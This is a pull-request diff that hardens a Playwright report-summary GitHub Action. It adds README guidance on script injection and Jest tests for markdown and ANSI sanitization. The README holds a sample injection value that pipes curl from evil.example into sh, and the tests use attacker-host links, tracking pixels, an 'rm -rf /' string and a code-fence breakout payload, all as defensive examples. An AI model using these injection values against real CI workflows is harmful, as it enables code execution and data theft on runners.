Merge pull request #362 from daun/chore/hardening

Security hardening

Author: daun

README.md

@@ -147,6 +147,86 @@ The raw data of the test report, as a JSON-encoded string. This is useful for cr
 You can get an idea of the data structure by checking out the
 [ReportSummary interface](https://github.com/daun/playwright-report-summary/blob/main/src/report.ts#L13).
 
+## Security
+
+The action sanitizes its rendered comment so that untrusted content cannot inject active markdown. However, if you are
+passing the action's outputs to another action or triggering the action in a non-PR context, make sure to read the next
+section to harden your workflows against script injection.
+
+### Using outputs safely
+
+The `summary` and `report-data` outputs contain raw test titles and file paths from the Playwright JSON report for you
+to post-process. When tests are added from external pull requests, **those strings are attacker-controlled**. Since
+GitHub Actions output values are **interpolated literally before shell parsing**, passing them into a `run:` step can
+lead to script injection on the runner.
+
+#### ![check](https://icongr.am/octicons/shield-check.svg?size=12&color=abb4bf) Safe patterns
+
+Pass outputs as inputs to another action. Action inputs are not shell-interpreted.
+
+```yaml
+- uses: daun/playwright-report-summary@v4
+  id: summary
+  with:
+    report-file: results.json
+    create-comment: false
+
+- uses: marocchino/sticky-pull-request-comment@v3
+  with:
+    # safe: action input, not shell-interpolated
+    message: ${{ steps.summary.outputs.summary }}
+```
+
+If you need an output inside a `run:` step, pass it through an **environment variable** and quote the shell expansion.
+The value never touches the shell parser.
+
+```yaml
+- run: |
+    echo "$SUMMARY" >> notes.md
+  env:
+    # safe: quoted env var, not shell-interpolated
+    SUMMARY: ${{ steps.summary.outputs.summary }}
+```
+
+#### ![check](https://icongr.am/octicons/shield.svg?size=12&color=abb4bf) Unsafe patterns
+
+Do **not** interpolate outputs directly into a `run:` script. A test named `` `; curl evil.example | sh; # `` would
+execute on your runner.
+
+```yaml
+# UNSAFE: output is interpolated and open to injection
+- run: echo "${{ steps.summary.outputs.summary }}"
+- run: curl -d "${{ steps.summary.outputs.report-data }}" https://example.com
+```
+
+See GitHub's guidance on
+[mitigating script injection attacks](https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks)
+for more.
+
+### Triggering from `issue_comment`
+
+The action supports being run from an `issue_comment` event so you can e.g. re-post the summary when someone comments
+`/retest` on a PR. **In a public repository any GitHub user can comment on a PR**, so you need to make sure the job is
+gated on the commenter's association with the repository to avoid potential abuse.
+
+```yaml
+# Only run for comments by users with write+ access
+jobs:
+  summary:
+    if: github.event.issue.pull_request && contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association)
+
+# Or restrict to an explicit actor allowlist
+jobs:
+  summary:
+    if: github.event.issue.pull_request && github.actor == 'your-bot-user'
+```
+
+If your `issue_comment` job additionally **checks out the PR head** (e.g. to re-run tests), the same threat model as
+`pull_request_target` applies: treat the checked-out code as untrusted and never run it with repository secrets in
+scope. See the official guidance on
+[keeping your GitHub actions secure](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)
+for details.
+
 ## License
 
 [MIT](./LICENSE)

__tests__/formatting.test.ts

@@ -3,7 +3,13 @@
  */
 
 import { expect } from '@jest/globals'
-import { formatDuration, upperCaseFirst, renderMarkdownTable } from '../src/formatting'
+import {
+	escapeForMarkdown,
+	formatDuration,
+	renderCodeBlock,
+	renderMarkdownTable,
+	upperCaseFirst
+} from '../src/formatting'
 
 describe('formatDuration', () => {
 	it('returns a string', async () => {
@@ -40,6 +46,51 @@ describe('formatDuration', () => {
 	})
 })
 
+describe('escapeForMarkdown', () => {
+	it('escapes HTML special characters', () => {
+		expect(escapeForMarkdown('<script>alert(1)</script>')).toBe('&lt;script&gt;alert\\(1\\)&lt;/script&gt;')
+		expect(escapeForMarkdown('a & b')).toBe('a &amp; b')
+	})
+
+	it('strips newlines to spaces', () => {
+		expect(escapeForMarkdown('line1\nline2')).toBe('line1 line2')
+	})
+
+	it('neutralizes markdown link injection', () => {
+		const out = escapeForMarkdown('[click here](https://evil.example)')
+		expect(out).not.toMatch(/(^|[^\\])[[\]()]/)
+		expect(out).toContain('https://evil.example')
+	})
+
+	it('neutralizes markdown image injection', () => {
+		const out = escapeForMarkdown('![tracker](https://evil.example/log)')
+		expect(out).not.toMatch(/(^|[^\\])!\[/)
+	})
+
+	it('neutralizes inline code spans', () => {
+		const out = escapeForMarkdown('text with `backticks` inside')
+		expect(out).not.toMatch(/(^|[^\\])`/)
+	})
+
+	it('neutralizes emphasis markers', () => {
+		expect(escapeForMarkdown('*bold*')).toBe('\\*bold\\*')
+		expect(escapeForMarkdown('__under__')).toBe('\\_\\_under\\_\\_')
+	})
+
+	it('neutralizes autolink-style references and list/heading markers', () => {
+		expect(escapeForMarkdown('#1234')).toBe('\\#1234')
+		expect(escapeForMarkdown('- list item')).toBe('\\- list item')
+	})
+
+	it('escapes backslashes so attacker cannot undo escaping downstream', () => {
+		expect(escapeForMarkdown('\\[x](y)')).toBe('\\\\\\[x\\]\\(y\\)')
+	})
+
+	it('leaves benign text unchanged', () => {
+		expect(escapeForMarkdown('should render a login form')).toBe('should render a login form')
+	})
+})
+
 describe('upperCaseFirst', () => {
 	it('returns a string', async () => {
 		expect(typeof upperCaseFirst('lorem') === 'string').toBe(true)
@@ -49,6 +100,27 @@ describe('upperCaseFirst', () => {
 	})
 })
 
+describe('renderCodeBlock', () => {
+	it('wraps code in a triple-backtick fence by default', () => {
+		expect(renderCodeBlock('hello')).toBe('```\nhello\n```')
+	})
+
+	it('uses an adaptive fence longer than any backtick run in the content', () => {
+		const out = renderCodeBlock('foo ``` bar')
+		expect(out.startsWith('````\n')).toBe(true)
+		expect(out.endsWith('\n````')).toBe(true)
+	})
+
+	it('grows the fence to defeat arbitrary backtick runs', () => {
+		const out = renderCodeBlock('`````` evil ```')
+		expect(out.startsWith('```````\n')).toBe(true)
+	})
+
+	it('passes language hint through', () => {
+		expect(renderCodeBlock('echo 1', 'bash')).toBe('```bash\necho 1\n```')
+	})
+})
+
 describe('renderMarkdownTable', () => {
 	it('returns a string', async () => {
 		expect(

__tests__/report-security.test.ts

@@ -1,4 +1,5 @@
-import { ReportSummary, renderReportSummary } from '../src/report'
+import { MAX_TITLE_LENGTH } from '../src/formatting'
+import { MAX_TESTS_PER_SECTION, ReportSummary, renderReportSummary } from '../src/report'
 
 describe('renderReportSummary security', () => {
 	it('sanitizes test titles containing HTML and markdown injection', () => {
@@ -43,4 +44,176 @@ describe('renderReportSummary security', () => {
 		expect(output).toContain('harmless test')
 		expect(output).toContain('<')
 	})
+
+	function reportWithFailedTitle(title: string, file = 'test.spec.ts'): ReportSummary {
+		const failedTest = {
+			passed: false,
+			failed: true,
+			flaky: false,
+			skipped: false,
+			file,
+			line: 1,
+			column: 1,
+			path: [file, title],
+			title,
+			results: [{ duration: 100, started: new Date() }]
+		}
+		return {
+			version: '1.0.0',
+			started: new Date(),
+			duration: 1000,
+			workers: 1,
+			shards: 0,
+			projects: ['chromium'],
+			files: ['test.spec.ts'],
+			suites: [
+				{
+					file: 'test.spec.ts',
+					line: 0,
+					column: 0,
+					path: [],
+					title: 'test.spec.ts',
+					level: 0,
+					root: true,
+					specs: []
+				}
+			],
+			specs: [],
+			tests: [failedTest],
+			failed: [failedTest],
+			passed: [],
+			flaky: [],
+			skipped: [],
+			results: []
+		}
+	}
+
+	it('neutralizes markdown link injection in test titles', () => {
+		const report = reportWithFailedTitle('[Click here for free pizza](https://attacker.example)')
+		const output = renderReportSummary(report, { title: 'Test Report' })
+		expect(output).not.toMatch(/\[Click here[^\]]*\]\(https:\/\/attacker\.example\)/)
+		expect(output).toContain('attacker.example')
+	})
+
+	it('neutralizes markdown image injection in test titles', () => {
+		const report = reportWithFailedTitle('![pixel](https://attacker.example/log)')
+		const output = renderReportSummary(report, { title: 'Test Report' })
+		expect(output).not.toMatch(/(^|[^\\])!\[pixel\]\(https:\/\/attacker\.example/)
+	})
+
+	it('neutralizes inline code-span injection in test titles', () => {
+		const report = reportWithFailedTitle('uses `rm -rf /` in setup')
+		const output = renderReportSummary(report, { title: 'Test Report' })
+		const titleLine = output.split('\n').find((l) => l.includes('rm -rf')) ?? ''
+		expect(titleLine).not.toMatch(/(^|[^\\])`/)
+	})
+
+	it('neutralizes emphasis and heading metacharacters in test titles', () => {
+		const report = reportWithFailedTitle('*bold* _under_ #heading')
+		const output = renderReportSummary(report, { title: 'Test Report' })
+		const titleLine = output.split('\n').find((l) => l.includes('bold')) ?? ''
+		expect(titleLine).toContain('\\*bold\\*')
+		expect(titleLine).toContain('\\_under\\_')
+		expect(titleLine).toContain('\\#heading')
+	})
+
+	it('prevents code-fence breakout via attacker-controlled test.file', () => {
+		const maliciousFile = 'tests/a.spec.ts\n```\n## Pwned\n[click](https://attacker.example)\n```\nb.spec.ts'
+		const report = reportWithFailedTitle('a test', maliciousFile)
+		const output = renderReportSummary(report, {
+			title: 'Test Report',
+			testCommand: 'npx playwright test'
+		})
+
+		// Fences must pair up, and the payload must not escape any code block.
+		const fenceMatches = output.match(/^`{3,}/gm) ?? []
+		expect(fenceMatches.length % 2).toBe(0)
+		const outsideCode = output.replace(/^(`{3,})[^\n]*\n[\s\S]*?\n\1$/gm, '')
+		expect(outsideCode).not.toMatch(/^## Pwned/m)
+		expect(outsideCode).not.toMatch(/\[click\]\(https:\/\/attacker\.example\)/)
+	})
+
+	it('truncates pathologically long test titles', () => {
+		const longTitle = 'A'.repeat(MAX_TITLE_LENGTH + 500)
+		const report = reportWithFailedTitle(longTitle)
+		const output = renderReportSummary(report, { title: 'Test Report' })
+
+		expect(output).not.toContain(longTitle)
+		expect(output).toContain(`${'A'.repeat(MAX_TITLE_LENGTH)}\u2026`)
+	})
+
+	it('caps the number of tests rendered per section', () => {
+		const overflow = 5
+		const total = MAX_TESTS_PER_SECTION + overflow
+		const tests = Array.from({ length: total }, (_, i) => ({
+			passed: false,
+			failed: true,
+			flaky: false,
+			skipped: false,
+			file: `test-${i}.spec.ts`,
+			line: i + 1,
+			column: 1,
+			path: [`test-${i}.spec.ts`, `failing test ${i}`],
+			title: `failing test ${i}`,
+			results: [{ duration: 1, started: new Date() }]
+		}))
+		const report: ReportSummary = {
+			version: '1.0.0',
+			started: new Date(),
+			duration: 1000,
+			workers: 1,
+			shards: 0,
+			projects: ['chromium'],
+			files: [],
+			suites: [],
+			specs: [],
+			tests,
+			failed: tests,
+			passed: [],
+			flaky: [],
+			skipped: [],
+			results: []
+		}
+
+		const output = renderReportSummary(report, { title: 'Test Report' })
+
+		expect(output).toContain(`failing test ${MAX_TESTS_PER_SECTION - 1}`)
+		expect(output).not.toContain(`failing test ${MAX_TESTS_PER_SECTION}`)
+		expect(output).toContain(`\u2026 and ${overflow} more`)
+	})
+
+	it('strips ANSI escape sequences from test titles', () => {
+		const report = reportWithFailedTitle('\x1b[31mFAILED\x1b[0m: login broken')
+		const output = renderReportSummary(report, { title: 'Test Report' })
+
+		expect(output).not.toContain('\x1b')
+		expect(output).toContain('FAILED')
+		expect(output).toContain('login broken')
+	})
+
+	it('strips ANSI escape sequences from test file paths', () => {
+		const report = reportWithFailedTitle('a test', 'tests/\x1b[31mevil\x1b[0m.spec.ts')
+		const output = renderReportSummary(report, {
+			title: 'Test Report',
+			testCommand: 'npx playwright test'
+		})
+
+		expect(output).not.toContain('\x1b')
+		expect(output).toContain('tests/evil.spec.ts:1')
+	})
+
+	it('preserves backticks in legitimate file paths via adaptive fencing', () => {
+		const report = reportWithFailedTitle('a test', 'tests/weird```name.spec.ts')
+		const output = renderReportSummary(report, {
+			title: 'Test Report',
+			testCommand: 'npx playwright test'
+		})
+
+		expect(output).toContain('tests/weird```name.spec.ts:1')
+		const fenceMatches = output.match(/^`{3,}/gm) ?? []
+		expect(fenceMatches.length % 2).toBe(0)
+		for (const f of fenceMatches) {
+			expect(f.length).toBeGreaterThanOrEqual(4)
+		}
+	})
 })